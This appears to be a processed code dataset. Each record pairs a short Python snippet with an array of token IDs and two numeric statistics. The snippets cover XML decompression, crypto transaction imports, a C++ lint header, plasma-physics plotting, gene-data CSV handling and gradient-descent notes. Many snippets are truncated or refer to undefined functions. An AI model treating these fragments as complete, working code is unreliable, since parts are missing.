bxml_data = zlib.decompress(bxml_data) # no Unix EOF (\n) if len(bxml_data) != rxmls: raise ChecksumError('Checksum failed, file might be broken') if filecount == 1: with open(self.ofname, 'wb') as of: of.write(bxml_data) else: with open(fname+".xml", 'wb') as of: of.write(bxml_data)
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 18, 198, 198, 11748, 28686, 198, 11748, 1976, 8019, 198, 6738, 2878, 1330, 2353, 11, 555, 8002, 628, 628, 198, 4871, 39298, 7, 15252, 2599, 198, 197, 37811, 59, 198, 197, 13383, 40481, 329, 10560, 47, 13, 198, 197, 37811, 628, 197, 4299, 1057, 7, 944, 2599, 198, 197, 197, 37811, 59, 198, 197, 197, 10987, 262, 40481, 290, 3551, 262, 5072, 2393, 13, 198, 197, 197, 37811, 198, 197, 197, 4480, 1280, 7, 944, 13, 361, 3672, 11, 705, 26145, 11537, 355, 277, 25, 198, 197, 197, 197, 944, 13, 952, 20786, 7, 69, 8, 628, 197, 4299, 37773, 7, 944, 11, 277, 2599, 198, 197, 197, 37811, 59, 198, 197, 197, 4834, 8189, 10560, 47, 25, 3248, 688, 263, 6816, 13639, 290, 23735, 19794, 198, 197, 197, 37811, 198, 197, 197, 361, 28686, 13, 6978, 13, 12093, 12453, 7, 944, 13, 1659, 3672, 8, 6624, 366, 28965, 12360, 13, 7109, 79, 1298, 198, 197, 197, 197, 4906, 796, 657, 198, 197, 197, 417, 361, 28686, 13, 6978, 13, 12093, 12453, 7, 944, 13, 1659, 3672, 8, 6624, 366, 74, 19231, 62, 43810, 13, 7109, 79, 1298, 198, 197, 197, 197, 4906, 796, 352, 198, 197, 197, 17772, 25, 198, 197, 197, 197, 4798, 7203, 5492, 1438, 534, 5072, 2393, 9380, 13, 632, 815, 307, 2647, 12360, 13, 7109, 79, 393, 479, 19231, 62, 43810, 13, 7109, 79, 19570, 198, 197, 197, 197, 17597, 13, 37023, 3419, 198, 197, 197, 198, 197, 197, 81, 19875, 62, 7890, 796, 277, 13, 961, 3419, 198, 197, 197, 65, 19875, 62, 7890, 796, 1976, 8019, 13, 5589, 601, 7, 81, 19875, 62, 7890, 8, 198, 197, 197, 65, 19875, 82, 796, 357, 11925, 7, 65, 19875, 62, 7890, 8, 1343, 1105, 8, 611, 2099, 6624, 657, 2073, 357, 11925, 7, 65, 19875, 62, 7890, 8, 1343, 807, 8, 1303, 1105, 329, 11940, 12125, 513, 11, 604, 329, 11940, 12125, 352, 492, 843, 807, 329, 479, 19231, 62, 43810, 198, 197, 197, 42116, 388, 796, 18896, 7, 81, 19875, 62, 7890, 8, 198, 197, 197, 2, 24428, 259, 318, 1180, 329, 479, 19231, 198, 197, 197, 34680, 62, 36153, 796, 357, 15, 87, 2167, 2388, 16, 11, 657, 87, 3070, 940, 11, 657, 87, 18005, 18005, 11, 657, 8, 611, 2099, 6624, 657, 2073, 357, 15, 87, 2167, 2388, 16, 11, 657, 87, 486, 33, 15, 11, 657, 87, 18005, 18005, 11, 657, 8, 198, 197, 197, 47003, 929, 796, 37456, 2124, 25, 357, 87, 11, 2124, 11, 2124, 11, 2124, 8, 198, 197, 197, 31494, 796, 37456, 2124, 25, 2124, 1635, 275, 6, 59, 87, 405, 6, 628, 197, 197, 4480, 1280, 7, 944, 13, 1659, 3672, 11, 705, 39346, 11537, 355, 286, 25, 198, 197, 197, 197, 34680, 11, 2393, 9127, 796, 362, 11, 352, 198, 197, 197, 197, 1659, 13, 36163, 7, 15, 87, 1415, 8, 198, 197, 197, 197, 1659, 13, 13564, 7, 8002, 10786, 29, 16768, 3256, 6439, 11, 2393, 9127, 4008, 198, 197, 197, 197, 1659, 13, 36163, 7, 15, 87, 1899, 8, 198, 197, 197, 197, 2, 17641, 25, 262, 2656, 2647, 12360, 13, 7109, 79, 7000, 262, 29472, 198, 197, 197, 197, 2, 4600, 28965, 10951, 62, 9945, 47671, 543, 1244, 307, 983, 12, 11423, 198, 197, 197, 197, 361, 2099, 6624, 657, 25, 198, 197, 197, 197, 197, 1659, 13, 13564, 7, 33661, 7203, 28965, 10951, 62, 9945, 1911, 268, 8189, 10786, 292, 979, 72, 6, 22305, 198, 197, 197, 197, 361, 2099, 6624, 352, 25, 198, 197, 197, 197, 197, 1659, 13, 13564, 7, 33661, 7203, 74, 19231, 62, 43810, 62, 9945, 1911, 268, 8189, 10786, 292, 979, 72, 6, 22305, 198, 197, 197, 197, 198, 197, 197, 197, 1659, 13, 36163, 7, 15, 27865, 15, 8, 1303, 36046, 284, 317, 15, 357, 8496, 262, 6439, 4731, 318, 3194, 290, 262, 1334, 286, 340, 8, 198, 197, 197, 197, 1659, 13, 13564, 7, 8002, 10786, 29, 24, 40, 3256, 198, 197, 197, 197, 197, 9, 34680, 62, 36153, 11, 198, 197, 197, 197, 197, 9, 47003, 929, 7, 65, 19875, 82, 828, 1303, 28358, 198, 197, 197, 197, 197, 42116, 388, 4008, 198, 197, 197, 197, 1659, 13, 13564, 7, 65, 19875, 62, 7890, 8, 628, 197, 197, 197, 2787, 391, 796, 286, 13, 33331, 3419, 4064, 657, 87, 940, 198, 197, 197, 197, 361, 3520, 25, 286, 13, 13564, 7, 31494, 7, 15, 87, 940, 532, 3520, 4008, 198, 197, 197, 197, 197, 198, 197, 4299, 36899, 7, 944, 11, 277, 2599, 198, 197, 197, 37811, 59, 198, 197, 197, 10707, 1098, 10560, 47, 25, 4280, 3361, 601, 23735, 1366, 198, 197, 197, 37811, 198, 197, 197, 69, 13, 36163, 7, 15, 87, 1415, 8, 198, 197, 197, 34680, 11, 2393, 9127, 796, 555, 8002, 10786, 29, 16768, 3256, 277, 13, 961, 7, 19, 4008, 628, 197, 197, 361, 2393, 9127, 14512, 352, 25, 198, 197, 197, 197, 2, 51, 3727, 46, 986, 198, 197, 197, 197, 4798, 10786, 3673, 257, 2060, 23735, 25388, 2393, 11, 5387, 3891, 481, 307, 973, 2427, 2637, 8, 628, 197, 197, 69, 13, 36163, 7, 15, 87, 1899, 8, 198, 197, 197, 1640, 1312, 287, 2837, 7, 7753, 9127, 2599, 198, 197, 197, 197, 69, 3672, 796, 277, 13, 961, 7, 15, 87, 1821, 737, 35312, 7, 65, 6, 59, 87, 405, 11537, 58, 15, 4083, 12501, 1098, 7203, 40477, 12, 23, 4943, 198, 197, 197, 197, 4798, 7, 69, 3672, 8, 198, 197, 197, 197, 2, 2949, 2126, 644, 428, 1627, 318, 13, 198, 197, 197, 197, 69, 13, 961, 7, 15, 87, 940, 8, 198, 197, 197, 197, 2, 275, 19875, 82, 25, 13934, 23735, 2546, 357, 89, 8019, 25388, 828, 374, 19875, 82, 25, 16089, 23735, 2546, 198, 197, 197, 197, 2, 262, 604, 275, 19875, 82, 389, 23418, 11, 290, 374, 19875, 82, 318, 329, 8794, 388, 198, 197, 197, 197, 65, 19875, 82, 11, 275, 19875, 82, 17, 11, 275, 19875, 82, 18, 11, 275, 19875, 82, 19, 11, 374, 19875, 82, 796, 555, 8002, 10786, 29, 20, 40, 3256, 277, 13, 961, 7, 19, 1635, 642, 4008, 198, 197, 197, 197, 65, 19875, 62, 7890, 796, 277, 13, 961, 7, 65, 19875, 82, 532, 604, 8, 1303, 374, 19875, 82, 318, 281, 22165, 18253, 628, 197, 197, 197, 361, 275, 19875, 82, 1875, 4019, 25, 198, 197, 197, 197, 197, 65, 19875, 62, 7890, 796, 1976, 8019, 13, 12501, 3361, 601, 7, 65, 19875, 62, 7890, 8, 1303, 645, 33501, 412, 19238, 357, 59, 77, 8, 628, 197, 197, 197, 361, 18896, 7, 65, 19875, 62, 7890, 8, 14512, 374, 19875, 82, 25, 198, 197, 197, 197, 197, 40225, 47719, 388, 12331, 10786, 7376, 4657, 388, 4054, 11, 2393, 1244, 307, 5445, 11537, 628, 197, 197, 197, 361, 2393, 9127, 6624, 352, 25, 198, 197, 197, 197, 197, 4480, 1280, 7, 944, 13, 1659, 3672, 11, 705, 39346, 11537, 355, 286, 25, 198, 197, 197, 197, 197, 197, 1659, 13, 13564, 7, 65, 19875, 62, 7890, 8, 198, 197, 197, 197, 17772, 25, 198, 197, 197, 197, 197, 4480, 1280, 7, 69, 3672, 10, 1911, 19875, 1600, 705, 39346, 11537, 355, 286, 25, 198, 197, 197, 197, 197, 197, 1659, 13, 13564, 7, 65, 19875, 62, 7890, 8, 198 ]
2.244043
1,217
# Complete the solve function below.
[ 2, 13248, 262, 8494, 2163, 2174, 13 ]
5.142857
7
from common.make_tx import ( make_swap_tx, make_reward_tx, make_transfer_in_tx, make_transfer_out_tx, make_unknown_tx, make_unknown_tx_with_transfer, _make_tx_exchange ) from osmo import util_osmo
[ 198, 6738, 2219, 13, 15883, 62, 17602, 1330, 357, 198, 220, 220, 220, 787, 62, 2032, 499, 62, 17602, 11, 787, 62, 260, 904, 62, 17602, 11, 787, 62, 39437, 62, 259, 62, 17602, 11, 787, 62, 39437, 62, 448, 62, 17602, 11, 198, 220, 220, 220, 787, 62, 34680, 62, 17602, 11, 787, 62, 34680, 62, 17602, 62, 4480, 62, 39437, 11, 4808, 15883, 62, 17602, 62, 1069, 3803, 198, 8, 198, 6738, 267, 5796, 78, 1330, 7736, 62, 418, 5908, 628, 628, 628, 628, 628, 628, 628 ]
2.460674
89
# Copyright 2007 Neal Norwitz # Portions Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Find warnings for C++ code. TODO(nnorwitz): provide a mechanism to configure which warnings should be generated and which should be suppressed. Currently, all possible warnings will always be displayed. There is no way to suppress any. There also needs to be a way to use annotations in the source code to suppress warnings. """ from __future__ import absolute_import from __future__ import print_function from __future__ import unicode_literals import os import sys from . import ast from . import headers from . import keywords from . import metrics from . import symbols from . import tokenize from . import utils try: basestring except NameError: basestring = str __author__ = '[email protected] (Neal Norwitz)' HEADER_EXTENSIONS = frozenset(['.h', '.hh', '.hpp', '.h++', '.hxx', '.cuh']) CPP_EXTENSIONS = frozenset(['.cc', '.cpp', '.c++', '.cxx', '.cu']) # These enumerations are used to determine how a symbol/#include file is used. UNUSED = 0 USES_REFERENCE = 1 USES_DECLARATION = 2 DECLARATION_TYPES = (ast.Class, ast.Struct, ast.Enum, ast.Union) class Module(object): """Data container representing a single source file."""
[ 2, 15069, 4343, 29189, 5414, 28155, 198, 2, 4347, 507, 15069, 4343, 3012, 3457, 13, 198, 2, 198, 2, 49962, 739, 262, 24843, 13789, 11, 10628, 362, 13, 15, 357, 1169, 366, 34156, 15341, 198, 2, 345, 743, 407, 779, 428, 2393, 2845, 287, 11846, 351, 262, 13789, 13, 198, 2, 921, 743, 7330, 257, 4866, 286, 262, 13789, 379, 198, 2, 198, 2, 220, 220, 220, 220, 220, 2638, 1378, 2503, 13, 43073, 13, 2398, 14, 677, 4541, 14, 43, 2149, 24290, 12, 17, 13, 15, 198, 2, 198, 2, 17486, 2672, 416, 9723, 1099, 393, 4987, 284, 287, 3597, 11, 3788, 198, 2, 9387, 739, 262, 13789, 318, 9387, 319, 281, 366, 1921, 3180, 1, 29809, 1797, 11, 198, 2, 42881, 34764, 11015, 6375, 7102, 49828, 11053, 3963, 15529, 509, 12115, 11, 2035, 4911, 393, 17142, 13, 198, 2, 4091, 262, 13789, 329, 262, 2176, 3303, 15030, 21627, 290, 198, 2, 11247, 739, 262, 13789, 13, 198, 198, 37811, 16742, 14601, 329, 327, 4880, 2438, 13, 198, 198, 51, 3727, 46, 7, 77, 13099, 28155, 2599, 2148, 257, 9030, 284, 17425, 543, 14601, 815, 198, 1350, 7560, 290, 543, 815, 307, 25822, 13, 16888, 11, 477, 1744, 198, 40539, 654, 481, 1464, 307, 9066, 13, 1318, 318, 645, 835, 284, 18175, 597, 13, 198, 1858, 635, 2476, 284, 307, 257, 835, 284, 779, 37647, 287, 262, 2723, 2438, 284, 198, 18608, 601, 14601, 13, 198, 198, 37811, 198, 198, 6738, 11593, 37443, 834, 1330, 4112, 62, 11748, 198, 6738, 11593, 37443, 834, 1330, 3601, 62, 8818, 198, 6738, 11593, 37443, 834, 1330, 28000, 1098, 62, 17201, 874, 198, 198, 11748, 28686, 198, 11748, 25064, 198, 198, 6738, 764, 1330, 6468, 198, 6738, 764, 1330, 24697, 198, 6738, 764, 1330, 26286, 198, 6738, 764, 1330, 20731, 198, 6738, 764, 1330, 14354, 198, 6738, 764, 1330, 11241, 1096, 198, 6738, 764, 1330, 3384, 4487, 628, 198, 28311, 25, 198, 220, 220, 220, 1615, 395, 1806, 198, 16341, 6530, 12331, 25, 198, 220, 220, 220, 1615, 395, 1806, 796, 965, 628, 198, 834, 9800, 834, 796, 705, 77, 13099, 28155, 31, 13297, 13, 785, 357, 40581, 5414, 28155, 33047, 628, 198, 37682, 1137, 62, 13918, 16938, 11053, 796, 8400, 8247, 316, 26933, 4458, 71, 3256, 45302, 12337, 3256, 45302, 71, 381, 3256, 45302, 71, 4880, 3256, 45302, 71, 5324, 3256, 45302, 66, 7456, 6, 12962, 198, 8697, 47, 62, 13918, 16938, 11053, 796, 8400, 8247, 316, 26933, 4458, 535, 3256, 45302, 20322, 3256, 45302, 66, 4880, 3256, 45302, 66, 5324, 3256, 45302, 27399, 6, 12962, 198, 198, 2, 2312, 27056, 602, 389, 973, 284, 5004, 703, 257, 6194, 31113, 17256, 2393, 318, 973, 13, 198, 4944, 2937, 1961, 796, 657, 198, 2937, 1546, 62, 2200, 24302, 18310, 796, 352, 198, 2937, 1546, 62, 41374, 43, 1503, 6234, 796, 362, 198, 198, 41374, 43, 1503, 6234, 62, 9936, 47, 1546, 796, 357, 459, 13, 9487, 11, 6468, 13, 44909, 11, 6468, 13, 4834, 388, 11, 6468, 13, 38176, 8, 628, 198, 4871, 19937, 7, 15252, 2599, 628, 220, 220, 220, 37227, 6601, 9290, 10200, 257, 2060, 2723, 2393, 526, 15931, 628, 628, 628, 198 ]
3.425287
522
import numpy from pylab import * import tables rc('text', usetex=True) Lx = 100.0 Ly = 50.0 B0 = 1/15.0 n0 = 1.0 mu0 = 1.0 elcCharge = -1.0 ionCharge = 1.0 ionMass = 1.0 elcMass = ionMass/25 elcMass = ionMass/25 ionCycl = ionCharge*B0/ionMass start = 0 end = 100 nFrame = end-start+1 tm = zeros((nFrame,), float) flx = zeros((nFrame,), float) count = 0 for i in range(start, end+1): print ("Working on %d ..." % i) fh = tables.openFile("s296-harris-tenmom_q_%d.h5" % i) q = fh.root.StructGridField nx, ny = q.shape[0], q.shape[1] YI = ny/4 X = linspace(0, Lx, nx) Y = linspace(0, Ly, ny) dx = X[1]-X[0] dy = Y[1]-Y[0] tm[count] = fh.root.timeData._v_attrs['vsTime'] flx[count] = dx*sum(abs(q[0:nx,YI,24])) count = count+1 tmDiff, flxDiff = calcDeriv(tm, flx) figure(1) plot(ionCycl*tm, flx/flx[0]*0.2, '-k', label='$\psi$') legend(loc='best') title('$\psi$') xlabel('Time') ylabel('$\psi$') fp = open("s296-byFlux.txt", "w") for i in range(flx.shape[0]): fp.writelines("%g %g\n" % (ionCycl*tm[i], flx[i])) fp.close() #figure(2) #plot(ionCycl*tmDiff, flxDiff, '-ko') #legend(loc='best') #title('$d\psi/dt$') #xlabel('Time') #ylabel('$d\psi/dt$') show()
[ 11748, 299, 32152, 198, 6738, 279, 2645, 397, 1330, 1635, 198, 11748, 8893, 198, 198, 6015, 10786, 5239, 3256, 514, 316, 1069, 28, 17821, 8, 198, 198, 43, 87, 796, 1802, 13, 15, 198, 31633, 796, 2026, 13, 15, 198, 33, 15, 796, 352, 14, 1314, 13, 15, 198, 77, 15, 796, 352, 13, 15, 198, 30300, 15, 796, 352, 13, 15, 198, 417, 66, 50044, 796, 532, 16, 13, 15, 198, 295, 50044, 796, 352, 13, 15, 198, 295, 20273, 796, 352, 13, 15, 198, 417, 66, 20273, 796, 22088, 20273, 14, 1495, 198, 417, 66, 20273, 796, 22088, 20273, 14, 1495, 198, 295, 20418, 565, 796, 22088, 50044, 9, 33, 15, 14, 295, 20273, 198, 198, 9688, 796, 657, 198, 437, 220, 796, 1802, 198, 77, 19778, 796, 886, 12, 9688, 10, 16, 198, 17209, 796, 1976, 27498, 19510, 77, 19778, 11, 828, 12178, 8, 198, 2704, 87, 796, 1976, 27498, 19510, 77, 19778, 11, 828, 12178, 8, 198, 198, 9127, 796, 657, 198, 1640, 1312, 287, 2837, 7, 9688, 11, 886, 10, 16, 2599, 198, 220, 220, 220, 3601, 5855, 28516, 319, 4064, 67, 35713, 4064, 1312, 8, 198, 220, 220, 220, 277, 71, 796, 8893, 13, 9654, 8979, 7203, 82, 27137, 12, 9869, 2442, 12, 1452, 32542, 62, 80, 62, 4, 67, 13, 71, 20, 1, 4064, 1312, 8, 198, 220, 220, 220, 10662, 796, 277, 71, 13, 15763, 13, 44909, 41339, 15878, 198, 220, 220, 220, 299, 87, 11, 299, 88, 796, 10662, 13, 43358, 58, 15, 4357, 10662, 13, 43358, 58, 16, 60, 198, 220, 220, 220, 575, 40, 796, 299, 88, 14, 19, 628, 220, 220, 220, 1395, 796, 300, 1040, 10223, 7, 15, 11, 406, 87, 11, 299, 87, 8, 198, 220, 220, 220, 575, 796, 300, 1040, 10223, 7, 15, 11, 9334, 11, 299, 88, 8, 628, 220, 220, 220, 44332, 796, 1395, 58, 16, 45297, 55, 58, 15, 60, 198, 220, 220, 220, 20268, 796, 575, 58, 16, 45297, 56, 58, 15, 60, 198, 220, 220, 220, 220, 198, 220, 220, 220, 256, 76, 58, 9127, 60, 796, 277, 71, 13, 15763, 13, 2435, 6601, 13557, 85, 62, 1078, 3808, 17816, 14259, 7575, 20520, 198, 220, 220, 220, 781, 87, 58, 9127, 60, 796, 44332, 9, 16345, 7, 8937, 7, 80, 58, 15, 25, 77, 87, 11, 56, 40, 11, 1731, 60, 4008, 628, 220, 220, 220, 954, 796, 954, 10, 16, 198, 198, 17209, 28813, 11, 781, 87, 28813, 796, 42302, 28532, 452, 7, 17209, 11, 781, 87, 8, 198, 198, 26875, 7, 16, 8, 198, 29487, 7, 295, 20418, 565, 9, 17209, 11, 781, 87, 14, 2704, 87, 58, 15, 60, 9, 15, 13, 17, 11, 705, 12, 74, 3256, 6167, 11639, 3, 59, 862, 72, 3, 11537, 198, 1455, 437, 7, 17946, 11639, 13466, 11537, 198, 7839, 10786, 3, 59, 862, 72, 3, 11537, 198, 87, 18242, 10786, 7575, 11537, 198, 2645, 9608, 10786, 3, 59, 862, 72, 3, 11537, 198, 198, 46428, 796, 1280, 7203, 82, 27137, 12, 1525, 37, 22564, 13, 14116, 1600, 366, 86, 4943, 198, 1640, 1312, 287, 2837, 7, 2704, 87, 13, 43358, 58, 15, 60, 2599, 198, 220, 220, 220, 277, 79, 13, 8933, 20655, 7203, 4, 70, 4064, 70, 59, 77, 1, 4064, 357, 295, 20418, 565, 9, 17209, 58, 72, 4357, 781, 87, 58, 72, 60, 4008, 198, 46428, 13, 19836, 3419, 198, 198, 2, 26875, 7, 17, 8, 198, 2, 29487, 7, 295, 20418, 565, 9, 17209, 28813, 11, 781, 87, 28813, 11, 705, 12, 7204, 11537, 198, 2, 1455, 437, 7, 17946, 11639, 13466, 11537, 198, 2, 7839, 10786, 3, 67, 59, 862, 72, 14, 28664, 3, 11537, 198, 2, 87, 18242, 10786, 7575, 11537, 198, 2, 2645, 9608, 10786, 3, 67, 59, 862, 72, 14, 28664, 3, 11537, 198, 198, 12860, 3419, 198 ]
1.918367
637
import csv import time import requests import argparse from sys import exit from typing import List, Optional, Tuple, Any from bs4 import BeautifulSoup if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument('-i', '--input', action='store', type=str, required=True) parser.add_argument('-o', '--output', action='store', type=str, required=True) parser.add_argument('-k', '--api_key', action='store', type=str, required=True) parser.add_argument('-c', '--max_count', action='store', type=int, default=-1) parser.add_argument('-s', '--start', action='store', type=int, default=-1) args = parser.parse_args() # read input file and get header input_csv_file = open(args.input, 'r') input_csv_data_reader = csv.reader(input_csv_file, delimiter=",") csv_header = next(input_csv_data_reader) + ["Gene name", "Gene description", "Strand", "Gene type"] # get output file ready output_csv_file = open(args.output, "w", newline='') output_csv_data_writer = csv.writer(output_csv_file, delimiter=',') output_csv_data_writer.writerow(csv_header) rows = [] curr_count = 0 for row in input_csv_data_reader: curr_count += 1 if args.start != -1 and curr_count < args.start: print(f"Skipping row #{curr_count}.") continue (ret_status, gene_name, ret_row) = get_data_using_row(row) if ret_status == False: print(f"Processing FAILED for #{curr_count}.") elif ret_status is None: print("KeyboardInterrupt called.") exit(0) else: # ret_status == True print(f"Processing (#{curr_count}) -- {row[18]} / {gene_name}") output_csv_data_writer.writerow(ret_row) # output_csv_file.flush() if args.max_count != -1 and curr_count >= args.max_count: break # close the input and output files input_csv_file.close() output_csv_file.close()
[ 11748, 269, 21370, 198, 11748, 640, 198, 11748, 7007, 198, 11748, 1822, 29572, 198, 6738, 25064, 1330, 8420, 198, 6738, 19720, 1330, 7343, 11, 32233, 11, 309, 29291, 11, 4377, 198, 6738, 275, 82, 19, 1330, 23762, 50, 10486, 628, 628, 198, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 30751, 796, 1822, 29572, 13, 28100, 1713, 46677, 3419, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 72, 3256, 705, 438, 15414, 3256, 2223, 11639, 8095, 3256, 2099, 28, 2536, 11, 2672, 28, 17821, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 78, 3256, 705, 438, 22915, 3256, 2223, 11639, 8095, 3256, 2099, 28, 2536, 11, 2672, 28, 17821, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 74, 3256, 705, 438, 15042, 62, 2539, 3256, 2223, 11639, 8095, 3256, 2099, 28, 2536, 11, 2672, 28, 17821, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 66, 3256, 705, 438, 9806, 62, 9127, 3256, 2223, 11639, 8095, 3256, 2099, 28, 600, 11, 4277, 10779, 16, 8, 198, 220, 220, 220, 30751, 13, 2860, 62, 49140, 10786, 12, 82, 3256, 705, 438, 9688, 3256, 2223, 11639, 8095, 3256, 2099, 28, 600, 11, 4277, 10779, 16, 8, 628, 220, 220, 220, 26498, 796, 30751, 13, 29572, 62, 22046, 3419, 628, 220, 220, 220, 1303, 1100, 5128, 2393, 290, 651, 13639, 198, 220, 220, 220, 5128, 62, 40664, 62, 7753, 796, 1280, 7, 22046, 13, 15414, 11, 705, 81, 11537, 198, 220, 220, 220, 5128, 62, 40664, 62, 7890, 62, 46862, 796, 269, 21370, 13, 46862, 7, 15414, 62, 40664, 62, 7753, 11, 46728, 2676, 28, 2430, 8, 198, 220, 220, 220, 269, 21370, 62, 25677, 796, 1306, 7, 15414, 62, 40664, 62, 7890, 62, 46862, 8, 220, 1343, 14631, 39358, 1438, 1600, 366, 39358, 6764, 1600, 366, 13290, 392, 1600, 366, 39358, 2099, 8973, 628, 220, 220, 220, 1303, 651, 5072, 2393, 3492, 198, 220, 220, 220, 5072, 62, 40664, 62, 7753, 796, 1280, 7, 22046, 13, 22915, 11, 366, 86, 1600, 649, 1370, 28, 7061, 8, 198, 220, 220, 220, 5072, 62, 40664, 62, 7890, 62, 16002, 796, 269, 21370, 13, 16002, 7, 22915, 62, 40664, 62, 7753, 11, 46728, 2676, 28, 3256, 11537, 198, 220, 220, 220, 5072, 62, 40664, 62, 7890, 62, 16002, 13, 16002, 322, 7, 40664, 62, 25677, 8, 628, 220, 220, 220, 15274, 796, 17635, 198, 220, 220, 220, 1090, 81, 62, 9127, 796, 657, 628, 220, 220, 220, 329, 5752, 287, 5128, 62, 40664, 62, 7890, 62, 46862, 25, 198, 220, 220, 220, 220, 220, 220, 220, 1090, 81, 62, 9127, 15853, 352, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 9688, 14512, 532, 16, 290, 1090, 81, 62, 9127, 1279, 26498, 13, 9688, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 50, 4106, 2105, 5752, 1303, 90, 22019, 81, 62, 9127, 92, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2555, 628, 220, 220, 220, 220, 220, 220, 220, 357, 1186, 62, 13376, 11, 9779, 62, 3672, 11, 1005, 62, 808, 8, 796, 651, 62, 7890, 62, 3500, 62, 808, 7, 808, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1005, 62, 13376, 6624, 10352, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 18709, 278, 9677, 4146, 1961, 329, 1303, 90, 22019, 81, 62, 9127, 92, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 1288, 361, 1005, 62, 13376, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7203, 9218, 3526, 9492, 3622, 1444, 19570, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8420, 7, 15, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 1303, 1005, 62, 13376, 6624, 6407, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3601, 7, 69, 1, 18709, 278, 17426, 90, 22019, 81, 62, 9127, 30072, 1377, 1391, 808, 58, 1507, 48999, 1220, 1391, 70, 1734, 62, 3672, 92, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 5072, 62, 40664, 62, 7890, 62, 16002, 13, 16002, 322, 7, 1186, 62, 808, 8, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5072, 62, 40664, 62, 7753, 13, 25925, 3419, 198, 220, 220, 220, 220, 220, 220, 220, 220, 198, 220, 220, 220, 220, 220, 220, 220, 611, 26498, 13, 9806, 62, 9127, 14512, 532, 16, 290, 1090, 81, 62, 9127, 18189, 26498, 13, 9806, 62, 9127, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2270, 198, 220, 220, 220, 220, 198, 220, 220, 220, 1303, 1969, 262, 5128, 290, 5072, 3696, 198, 220, 220, 220, 5128, 62, 40664, 62, 7753, 13, 19836, 3419, 198, 220, 220, 220, 5072, 62, 40664, 62, 7753, 13, 19836, 3419, 198 ]
2.370892
852
import unittest from Cell import Cell from Blanking_Cell_Exception import Blanking_Cell_Exception if __name__ == '__main__': unittest.main()
[ 11748, 555, 715, 395, 198, 6738, 12440, 1330, 12440, 198, 6738, 1086, 15230, 62, 28780, 62, 16922, 1330, 1086, 15230, 62, 28780, 62, 16922, 628, 628, 198, 361, 11593, 3672, 834, 6624, 705, 834, 12417, 834, 10354, 198, 220, 220, 220, 555, 715, 395, 13, 12417, 3419, 198 ]
3.104167
48
import torch from torch import nn
[ 11748, 28034, 198, 6738, 28034, 1330, 299, 77, 628 ]
3.888889
9
import numpy as np import matplotlib.pyplot as plt from sklearn.linear_model import LinearRegression, Ridge from sklearn.metrics import mean_squared_error from sklearn.model_selection import train_test_split from sklearn.pipeline import Pipeline from sklearn.preprocessing import PolynomialFeatures, StandardScaler # ---------------------------The Normal Equation--------------------- # X = 2 * np.random.rand(100, 1) # y = 4 + 3 * X + np.random.randn(100, 1) # # X_b = np.c_[np.ones((100, 1)), X] # add x0 = 1 to each instance # theta_best = np.linalg.inv(X_b.T.dot(X_b)).dot(X_b.T).dot(y) # X_new = np.array([[0], [2]]) # X_new_b = np.c_[np.ones((2, 1)), X_new] # add x0 = 1 to each instance # y_predict = X_new_b.dot(theta_best) # plt.plot(X_new, y_predict, "r-", linewidth=2, label="Predictions") # plt.plot(X, y, "b.") # plt.xlabel("$x_1$", fontsize=18) # plt.ylabel("$y$", rotation=0, fontsize=18) # plt.legend(loc="upper left", fontsize=14) # plt.axis([0, 2, 0, 15]) # plt.show() # lin_reg = LinearRegression() # lin_reg.fit(X, y) # print(lin_reg.intercept_, lin_reg.coef_) # print(lin_reg.predict(X_new)) # -------------------------Gradient Descent--------------------- # def plot_gradient_descent(theta, eta, theta_path=None): # m = len(X_b) # plt.plot(X, y, "b.") # n_iterations = 1000 # for iteration in range(n_iterations): # if iteration < 10: # y_predict = X_new_b.dot(theta) # style = "b-" if iteration > 0 else "r--" # plt.plot(X_new, y_predict, style) # gradients = 2 / m * X_b.T.dot(X_b.dot(theta) - y) # theta = theta - eta * gradients # if theta_path is not None: # theta_path.append(theta) # plt.xlabel("$x_1$", fontsize=18) # plt.axis([0, 2, 0, 15]) # plt.title(r"$\eta = {}$".format(eta), fontsize=16) # theta_path_bgd = [] # np.random.seed(42) # theta = np.random.randn(2, 1) # random initialization # plt.figure(figsize=(10, 4)) # plt.subplot(131);plot_gradient_descent(theta, eta=0.02) # plt.ylabel("$y$", rotation=0, fontsize=18) # plt.subplot(132);plot_gradient_descent(theta, eta=0.1, theta_path=theta_path_bgd) # plt.subplot(133);plot_gradient_descent(theta, eta=0.5) # plt.show() # -------------------------Stochastic Gradient Descent------------------------- # theta_path_sgd = [] # m = len(X_b) # np.random.seed(42) # n_epochs = 50 # t0, t1 = 5, 50 # learning schedule hyperparameters # def learning_schedule(t): # return t0 / (t + t1) # theta = np.random.randn(2,1) # random initialization # for epoch in range(n_epochs): # for i in range(m): # if epoch == 0 and i < 20: # not shown in the book # y_predict 